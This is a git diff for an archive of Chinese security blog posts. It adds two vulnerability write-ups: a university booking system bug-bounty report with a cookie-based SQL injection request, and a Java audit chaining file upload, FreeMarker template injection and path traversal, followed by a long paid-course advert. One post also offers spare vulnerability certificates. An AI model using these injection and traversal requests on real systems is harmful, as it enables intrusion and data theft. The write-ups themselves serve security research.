diff --git a/data.json b/data.json index 7fd42775..4eca7027 100644 --- a/data.json +++ b/data.json @@ -20124,5 +20124,8 @@ "https://mp.weixin.qq.com/s/DPbXhj28HYklOdZXn2YItg": "超过 1370 台 Microsoft SharePoint 服务器易受欺骗攻击,其安全漏洞已在网上曝光", "https://mp.weixin.qq.com/s/bo1kpWYRcHs-EwG_wvCnuA": "仅花1.5万元,就能把关键漏洞变成直接运行的网络武器", "https://mp.weixin.qq.com/s/izPnODoJVVJ1DclvfEYGXA": "仅花1.5万元,就能把关键漏洞变成直接运行的网络武器", - "https://mp.weixin.qq.com/s/BThVw5FJmJUA3gk4nqOO9Q": "漏洞永远修不完,“带洞防护”成必然——奇安信发布Mythos应对白皮书" + "https://mp.weixin.qq.com/s/BThVw5FJmJUA3gk4nqOO9Q": "漏洞永远修不完,“带洞防护”成必然——奇安信发布Mythos应对白皮书", + "https://mp.weixin.qq.com/s/04gLX4WeFHFvqw8FCKDgPw": "某JAVA系统RCE漏洞审计流程", + "https://mp.weixin.qq.com/s/psgLzfv78YE0cFEHnQJQZg": "EDUSRC证书站之源码泄露导致的10rank漏洞", + "https://mp.weixin.qq.com/s/h_pGDZntBoBxxrSSjw1kVA": "渗透测试 | 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 ∕ 支付漏洞 ∕ 账号接管)" } \ No newline at end of file diff --git a/doc/2026-04/EDUSRC证书站之源码泄露导致的10rank漏洞.md b/doc/2026-04/EDUSRC证书站之源码泄露导致的10rank漏洞.md new file mode 100644 index 00000000..b8686fa2 --- /dev/null +++ b/doc/2026-04/EDUSRC证书站之源码泄露导致的10rank漏洞.md @@ -0,0 +1,88 @@ +# EDUSRC证书站之源码泄露导致的10rank漏洞 +原创 安全小生 + 安全小生 安全小生 2026-04-22 15:26 + +前言:以及停更几个月了,于是有点手痒就写下这篇文章,此次站点是从微信端抓取的链接,用浏览器访问的后台链接,从而得到的一系列漏洞 + + +0x1代码审计突破登录口 + +首先面对的是一个登录框 这里放不了 因为现在系统以及下架了 找不到登录框了(就放张表情包意思一下) + + + +弱口令尝试无果后 扫描一下后台路径 发现泄露了网站源码,都有源码了,这还说啥呢,直接开审 + + + +审到此处发现可以构造cookie绕过密码验证登入后台 并且发现此次cookie存在cookie注入 + + + + +0x2敏感信息泄露 + +这个系统是某大学的预约系统 故会有大量敏感信息泄露 这里泄露了近一万信息 + + + +0x3多处sql注入 + +总而言之有着源码,这个老网站对于我来说,也可称之为千疮百孔了 + +cookie注入还是挺少见的 所以这里就稍微展示一下 + +观察下面的cookie uid=1 +``` +POST /admin/xxxx.php?act=save HTTP/1.1 +Host: +Content-Length: 69 +Cache-Control: max-age=0 +Origin: +Content-Type: application/x-www-form-urlencoded +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 +Referer: +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9 +Cookie: mvcode=c5hg; uName=admin; uid=1; PHPSESSID=lhr5oe0lohqrdrfi3pgocn3jr1 +Connection: keep-alive + +``` + +其实看到这处敏感点的师傅 都会忍不住的取给它插个单引号吧 +``` +POST /admin/xxxx.php?act=save HTTP/1.1 +Host: +Content-Length: 69 +Cache-Control: max-age=0 +Origin: +Content-Type: application/x-www-form-urlencoded +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 +Referer: +Accept-Encoding: gzip, deflate, br +Accept-Language: zh-CN,zh;q=0.9 +Cookie: mvcode=c5hg; uName=admin; uid=1+and+extractvalue(1,concat(0x7e,database(),0x7e))--+; PHPSESSID=lhr5oe0lohqrdrfi3pgocn3jr1 +Connection: keep-alive +``` + +得以爆出数据库名称‘ticxxet’ + +其他的sql注入就不过多讲述了 师傅们就算没源码进了后台 那也是手到擒来的 + +因为封顶就10rank 所以只拿了十rank 那会没想着分开交 也是错失一笔rank + + + + + + + +最后再提一嘴 小生我最近搞了不少cnvd证书,手上还剩几本多余的,有需要的私我 + + + + diff --git a/doc/2026-04/某JAVA系统RCE漏洞审计流程.md b/doc/2026-04/某JAVA系统RCE漏洞审计流程.md new file mode 100644 index 00000000..4f076be8 --- /dev/null +++ b/doc/2026-04/某JAVA系统RCE漏洞审计流程.md @@ -0,0 +1,700 @@ +# 某JAVA系统RCE漏洞审计流程 + 进击安全 2026-04-22 13:52 + +前言:该文章为去年的库存,一直懒得没有发,现在源码给到ai都能审出来,时代发展太快,我们都是旧时代的产物了。 +# 一、信息收集 +## 1.1 github 搜索文件 + +直接搜索网站的css或者js文件,发现有完全一模一样的 + + +## 1.2 github 搜索域名 + +在加上主域名 + + + +# 二、模板注入(组合拳) +## 2.1 查看配置文件 + +这里查看application.yml +``` +freemarker: template-loader-path: classpath:/webapp/ suffix: .html request-context-attribute: request allow-request-override: true cache: false check-template-location: true charset: UTF-8 content-type: text/html expose-request-attributes: true expose-session-attributes: true expose-spring-macro-helpers: true allow-session-override: true settings: tag_syntax: auto_detect template_update_delay: 1 default_encoding: UTF-8 output_encoding: UTF-8 locale: zh_CN date_format: yyyy-MM-dd time_format: HH:mm:ss datetime_format: yyyy-MM-dd HH:mm:ss auto_import: number_format: 0.## classic_compatible: true template_exception_handler: com.tjsj.fwk.mvc.interceptors.FreemarkerExceptionHandler +``` + + + +解释一下FreeMarker 查找路径 +``` +freemarker: template-loader-path: classpath:/webapp/ suffix: .html基础路径: classpath:/webapp/+ 视图名: "templates/domain/zh_CN/pc//xx" + 后缀: ".html"= classpath:/webapp/templates/domain/zh_CN/pc//xx.html示例:视图名 "index" → classpath:/webapp/index.html视图名 "user/list" → classpath:/webapp/user/list.html +``` + +所以这里如果把suffix: .html +改成ftl +后缀,而我们上传的文件是html +后缀,他也不会执行模板内容,因为他最终的路径是.ftl +后缀 +``` +基础路径: classpath:/webapp/+ 视图名: "templates/domain/zh_CN/pc//xx" + 后缀: ".ftl"= classpath:/webapp/templates/domain/zh_CN/pc//xx.ftl +``` + +并且FreeMarker +只在特定情况下激活 +``` +FreeMarker 执行的条件:- 通过 ModelAndView 或视图名返回- 经过配置的 FreeMarkerViewResolver- 在 template-loader-path 指定的目录中 +``` + +解释下ModelAndView +作用,他是制定渲染视图名的 + + +## 2.2 文件上传 +### 2.2.1 uploadImgByAccessoryWithWeb + +这里规定用post +请求 + + + +url的逻辑 +``` +#定义uploadFilePath路径String uploadFilePath = "accessory"; #定义url路径:/accessory/xxxxx-xxx/#这里的File.separator是/DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); String uri = uploadFilePath + File.separator +sdf.format(new Date())+ File.separator; #之后判断有没有type参数,如果没有就url为:/accessory/xxxxx-xxx/publish/if(StringUtils.isNotBlank(request.getParameter("type"))&&request.getParameter("type").equals("client")){ uri += "client" + File.separator; }else{ uri += "publish" + File.separator; } #这里就判断域名是否为空,然后url:/accessory/xxxxx-xxx/publish/域名/uri += request.getServerName()==null?"default":request.getServerName() + File.separator; +``` + + + +然后看下面代码 +``` +getRealRootPath函数:返回/webapp/ 这个路径 +``` + + + + + +转入到saveFileToServer + + + + + +之后就正常的上传文件,路径为/webapp/accessory/xxxxx-xxx/publish/域名/xxxx-xxxx.jsp + + + + +## 2.3 模板渲染 + +之前说了ModelAndView +这个函数是渲染模板的,那我上传一个html +后缀的freemarker +语法的内容,应该要用这个函数去渲染。 全局搜索ModelAndView +,发现有两个函数createView +和createBgView +,其中viewName +是可控的状态 + + + + +之后全局搜索两个函数createView +和createBgView + + + + + +其中发现一下路径无权限,且路径可控 +``` +detailscolumnDetailsdetailsscolumn_article_list_by_idqueryByConditionobtain_like_article_by_titleobtain_article_by_columnobtain_recruit_articleobtain_column_children_by_iduser/logoutvideolistobtain_comment_listobtain_comment_list_likeobtain_order_listobtain_order_list_likeobtain_question_by_idobtain_question_by_keywordobtain_question_listobtain_answer_by_keywordobtain_recritment_listobtain_recruit_list_likeinfo/query_infoobtain_small_content_list_likeobtain_small_content_by_id +``` + +文件上传验证模板注入漏洞 +``` +POST x HTTP/1.1Host: xAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brCookie: HttpOnly; xConnection: keep-aliveContent-Type: multipart/form-data; boundary=----WebKitFormBoundary0vhwQhJtQDJWce7DContent-Length: 180------WebKitFormBoundary0vhwQhJtQDJWce7DContent-Disposition: form-data; name="files"; filename="1.html"Content-Type: image/jpeg
FreeMarker 版本: ${.version}
当前环境: ${.now?string("yyyy-MM-dd HH:mm:ss")}
时间戳: ${.now?long}
输出编码: ${.output_encoding!"UTF-8"}
FreeMarker 模板注入漏洞存在!
当前时间: ${.now?string("HH:mm:ss")}
当前用户数:${userCount}
备用消息:${message!"默认消息"}
------WebKitFormBoundary0vhwQhJtQDJWce7D +``` + +之后在访问路径渲染模板 + + + +``` +POST /{{file:line(/Users/qq/yakit-projects/temp/tmp2970083007.txt)}} HTTP/1.1Host:xCookie:x; Path=/Sec-Ch-Ua-Platform: "macOS"Accept-Language: zh-CN,zh;q=0.9Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36Sec-Ch-Ua-Mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brPriority: u=1Content-Type: application/x-www-form-urlencodedContent-Length: 97url=../../../accessory/x/publish/x/94746e9e-a264-46b9-b72e-a50216e7f635 +``` + + +**代码审计培训介绍&广告区域** + + + 历经四期培训,终于迎来了代码审计第五期培训,本次培训依旧一次报名一直可听,并且富含前面四期课程均可以听,先来看看之前的培训都有哪些内容,这里我给大家截屏看看。 + + + + +一、往期-第四期课程 + + + +### + + +### 我们先来看看上一期课程内容,内容如下,给各位师傅们讲解上一期课程讲解了哪些内容,包括相关的学员出货记录,以及部分课件内容。 + + + + + + +往期-第四期基础课程 + + + + + + +### + + + +此为第四期基础课程,共计授课四十次,此外第四期相较于第三期新增了APP、小程序、WEB逆向,同时主线仍然在代码审计上面,其中基础课程主要目的为: + +掌握代码审计思路、完成0-1、能够独立开始审计项目 +。 + +讲解方向如下: + + +✅ NET代码审计 +✅ APP、小程序、WEB逆向 + +✅ JAVA代码审计 + + +(当然个人认为讲的最好的是JAVA代码审计,而且此次代码审计偏向0-1的实现,更多的是讲解完漏洞原理之后小朋友带着进行实战代码审计,分析各个项目,从理论→实践的演变,当然小朋友们每个课程都是这种方式。) + + + + + + +往期-第四期 +进阶课程 + + + + + +### + + + + + 为什么在第四期课程分为了基础课程以及进阶课程,就是因为发现学员大部分都是为了审计而去审计,单一的去使用某一个方法审计漏洞,而不会进行漏洞的组合拳,扩大危害, +**虽然自己都是实战案例,但是发现学员都是跟着案例当中的漏洞去套用在了自己的源码\项目当中** +。 + +所以开启了第四期进阶代码审计课程,课程目的主要为: + + +✅ +深入理解鉴权 + +✅ +漏洞组合拳扩大危害 + +✅ +尝试0-1贴合多数学员完成前台RCE出货 + + +(本次授课累计20余次,专项针对以上目的,大量分析鉴权&绕过、组合拳利用、前台RCE) + + + + + + +往期-第四期-部分学员报喜&课件 + + + + + + + + + + + + + + + + + + + + + + + +上下滑动查看更多 + + + + + + + + + + + + + + + + + +**左右滑动查看更多** + +**>** + + 那么可能会有师傅提问,为什么没有PHP呢,其实PHP也是有讲解的,只不过大部分是直接的案例,基础的PHP代码审计函数以及基础等,均放在了第三期课程当中。 + +(部分课件) + + + + 这也是为什么有的学员在报名之后,我会给他规划学习路线,先看xxx在看xxx,这些都是小朋友认为哪一期的那些内容讲的不错,然后给兄弟们总结出来的优质学习路线。 + +那么接下来我们可以看看小朋友在做了四期培训之后 +学员出货报喜时刻: + + + + + + +往期-学员报喜时刻(部分) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +**左右滑动查看更多** + +**>** + +(其实报喜一个是为了宣传,更重要的其实每当学员来报喜的时候,都有一种成就感,最起码能够认定自己的课程是有一定价值一定性价比的,而且确实收了师傅们的钱,能够帮助到师傅们一些,自己也就更有坚持下去做培训的信心。 + + + + +二、第五期课程 + + + + + + 第五期课程仍然是以代码审计为主,本次课程还是为三个语言的代码审计0-1讲解,目的为帮助学员完成0-1+1的白盒(代码审计)漏洞挖掘,并且在出货的基础上再+1去出高质量的漏洞( +例如组合拳RCE、前台相关漏洞等)。 + + +1 + +开课时间&课程周期 + +开课时间暂定为:2026年4月3日 + +开课周期预计到:三个月左右(直播+录播) + +**课程大纲** + + 本次课程分为PHP、JAVA、NET代码审计为直播+录播,为了照顾一些基础较为薄弱的师傅新增基础~技巧~番外(录播课程)。 + + +01 + +PHP&JAVA&NET代码审计 (直播+录播) + + + + 之前课程大纲主要为xxx实战案例,本次课程大纲着重体现思路方向,并非取消了实战部分,实战部分之多不减。 + +PHP课程目录 + + +✅ + +第一节课:多框架初识&路由认识&参数传递 + +✅ + +第二节课:多框架&鉴权分析&认证与鉴权&鉴权方式 + +✅ + +第三节课:多框架&常见漏洞函数&回显&非回显 + +✅ + +第四节课:注入漏洞&常见位置&实战审计注入类漏洞 + +✅ + +第五节课:前台RCE漏洞审计&漏洞案例技巧讲解 + +✅ + +第六节课:门户网站CMS&网络设备&审计经验讲解 + +✅ + +第七节课:多框架&鉴权对抗&权限绕过技巧&案例分析 + +✅ + +第八节课:组合拳RCE漏洞分析&漏洞组合拳利用&案例 + +✅ + +第九节课:PHP下反序列化漏洞&魔术方法&pop链分析 + +✅ + +第十节课:PHP下反序列化漏洞实战&phar协议RCE案例 + + +JAVA课程目录 + + +✅ + +第一节课:Servlet&Spring Boot&Spring MVC&Struts2 + +✅ + +第二节课:多框架下&拦截器&认证鉴权&组件鉴权分析 + +✅ + +第三节课:多框架下&权限绕过&鉴权对抗&案例分析 + +✅ + +第四节课:常见漏洞函数&案例分析&审计技巧 + +✅ + +第五节课:前台漏洞审计&组合拳rce漏洞&技巧&案例 + +✅ + +第六节课:反序列化&CC链利用&反序列化漏洞利用 + +✅ + +第七节课: +Ognl&SpEl&EL表达式注入&漏洞案例 + +✅ + +第八节课:内存马简介&内存马原理分析&内存马注入方式 + +✅ + +第九节课:RMI&JNDI注入&JNDI注入漏洞利用&案例 + +✅ + +第十节课:组件漏洞&shiro&fastjson&log4j分析&利用 + + +.NET课程目录 + + +✅ + +第一节课:初识.NET&Web From & MVC架构框架分析 + +✅ + +第二节课:Web From&MVC框架&鉴权分析&认证方式 + +✅ + +第三节课:多框架下&鉴权对抗&权限绕过分析&案例 + +✅ + +第四节课:注入漏洞分析&文件操作类漏洞&实战分析 + +✅ + +第五节课:常见漏洞位置&前台漏洞审计&漏洞案例讲解 + +✅ + +第六节课:组合拳RCE漏洞分析&组合拳RCE案例讲解 + +✅ +第七节课:.NET反序列化漏洞初识&反序列化漏洞原理 + +✅ +第八节课:.NET安全反序列化链&反序列化触发场景 + +✅ +第九节课:.NET反序列化漏洞案例&反序列化漏洞分析 + + +02 + +基础~技巧~番外(录播) + + +该篇章为长期更新 + + +1 + +基础篇章 + +1、 +由于之前上课时部分师傅存在一定基础,刚开始的课程部分师傅认为自己可以跟的上等问题,导致时间的浪费。 + + +2、 +同时有一定的师傅存在无法搭建源码,以及软件下载等问题,于是将这种基础问题,统一归纳为基础篇章,供师傅们学习,节省师傅们时间提升学习效率及课程质量 + + +3、同时面对部分学员频繁提出的一些问题,针对该问题同样会进行解答,并且进行录制上传至基础篇章中。 + + +2 + +技巧篇章 + +1、 +随着自己技术的进步也了解到了一些新型的技巧或者手法,例如sql注入的某一个技巧,但是重新讲解又浪费大量时间,特地新增了技巧篇章,将单独的技巧进行讲解 +。 + + +3 + +番外篇章 + +1、自己在第四期讲过一些逆向相关,并且还存在相关的一些好的案例,得到了挺多师傅的认可,例如某APP接管存储桶等案例,于是之后在有好的案例将进行上传更新。 + +**课程思维导图** + + + + +**常见疑问&课程讲解** + + + + +第五期课程 +收费多少? + + + +本次课程收费仍然是 +1688,并且还是承诺一次报名后续不再进行任何二次收费保障(包含 +内部平台, +以及后续推出一系列内容均可观看)。 + + + +什么时间段上课,上课周期是多长时间? + + + +第五期课程【直播+录播】上课周期为 +三个月,一般集中在 +周五六日这三天,一周保持 +2~3节课,每节课 +1小时左右。 + + + +作为学员,我们都有哪些权益? + + + +首先最关键的就是 +课程内容是可以一直学习的,同时 +内部报告平台也可进行观看, +答疑是不限时长,不限类型方向,任何方向均可,再次同时代码审计最关键的就是源码, +源码&课件&视频都是给兄弟们配套的,当然无聊找小朋友聊天一起打游戏也可以哦。 + + + +学完之后可以达到什么水平? + + + +学完之后可以达到可以进行 +独立审计的水平,在面对 +php、JAVA、NET主流语言的源码,可以进行 +独立审计, +验证漏洞,对于一些 +JAVA安全内容例如: +反序列化,内存马等也有一定的理解,可以进行打 +反序列化漏洞、 +注入内存马等操作,同时 +PHP的反序列化、pop链,phar协议等利用也有一定理解,且此类漏洞导致RCE +均有案例。 + + + +0基础可以学吗? + + + +1、这是大家最常问的一个问题, +0基础是可以的,我的代码审计课程一直秉持着 +帮助大家完成代码审计0-1的目标,同时往期(第四期)课程新增了进阶课,其目的也是帮助大家完成 +0-1出洞到0-1出有质量的漏洞。 + + +2、另外考虑到有的 +学员基础较为薄弱,本期同时也开了 +番外篇&基础篇,师傅们可以观看这块分区课程内容,此类分块课程目的就是为 +协助到一些基础比较薄弱的师傅们。 + + + +是那种读PPT拿着靶场讲解吗? + + + +不会,课程均使用一些 +0Day&1Day&Nday优质漏洞来进行授课,且本期案例均为从 +简-难漏洞案例,深度体验代码审计当中的 +难易区分, +完全杜绝靶场以及去读PPT的,从培训第一期开始到现在,基本为上课开始看几眼课件, +让学员熟悉这节课的大概内容等信息,然后 +直接实操到下课,这一点也是 +我干培训五期以来一直使用的授课方式。 + + + +是否有简历修改&内推等福利? + + + +有的兄弟,有的, +不介意小朋友的指导简历这类的话,随时欢迎大家来骚扰我。 + + + +为什么你不新增AI方向的内容? + + + +目前我个人认为AI可以帮助我们 +提升很大的效率,但是前提是 +AI的使用者本身要懂这个技术,才可以利用AI来 +降低该技术门槛,提升效率, +完全自动化目前感觉还是无法做到,包括 +课程当中也会使用AI会顺带着给师傅讲了 +如何用ai来提升效率,同时如果反馈不会使用的师傅较多,会考虑后续在基础~技巧~番外来更新该方向内容。 + + +**联系方式** + + + + + diff --git a/doc/2026-04/渗透测试 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 ∕ 支付漏洞 ∕ 账号接管).md b/doc/2026-04/渗透测试 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 ∕ 支付漏洞 ∕ 账号接管).md index 1afcef53..53d74544 100644 --- a/doc/2026-04/渗透测试 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 ∕ 支付漏洞 ∕ 账号接管).md +++ b/doc/2026-04/渗透测试 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 ∕ 支付漏洞 ∕ 账号接管).md @@ -1,21 +1,7 @@ # 渗透测试 | 近期高危逻辑漏洞挖掘实战合集 (越权漏洞 / 支付漏洞 / 账号接管) -原创 爱州 - 爱州 州弟学安全 2026-04-20 01:39 + Z2O安全攻防 2026-04-22 13:25 -**本篇文章共 7000字,完全阅读全篇约10分钟 州弟学安全,只学有用的知识** - -## 前言:回归渗透,聊聊逻辑漏洞 - -**大家好,我是州弟。** - -关注我的朋友可能知道,近一年多我一直在跟进靶场建设,最近半年也输出了大量蓝队建设和应急响应的内容。以至于不少师傅调侃,说我把渗透测试和挖洞的“老本行”给丢了。其实并没有,只是近期线下项目比较密集,我只能趁着晚上休息的时间,或者在项目推进的间隙去挖挖洞。 - -今天终于抽出时间,把近期在渗透测试中关于**逻辑漏洞** -的一些挖掘思路和实战成果整理出来,和大家做个分享。 - - - -最近的漏洞挖掘过程中,我有一个非常直观的感受:**现在的攻防环境,和两三年前相比已经发生了质的变化。** +**最近的漏洞挖掘过程中,我有一个非常直观的感受:****现在的攻防环境,和两三年前相比已经发生了质的变化。** 排除在客户现场进行内网渗透的情况,现在无论是打 SRC 还是做外网的渗透测试,只要发起大面积的扫描行为(无论是使用扫描插件还是传统的漏扫工具),绝大多数情况下面临的都是秒封。这说明现在的企业,哪怕是中小企业,其云服务器通常都配备了云 WAF,本地机房也多多少少部署了安全防护设备。 @@ -514,6 +500,83 @@ LIMIT **感谢大家的阅读,我们下期再见!** -往期文章分享 -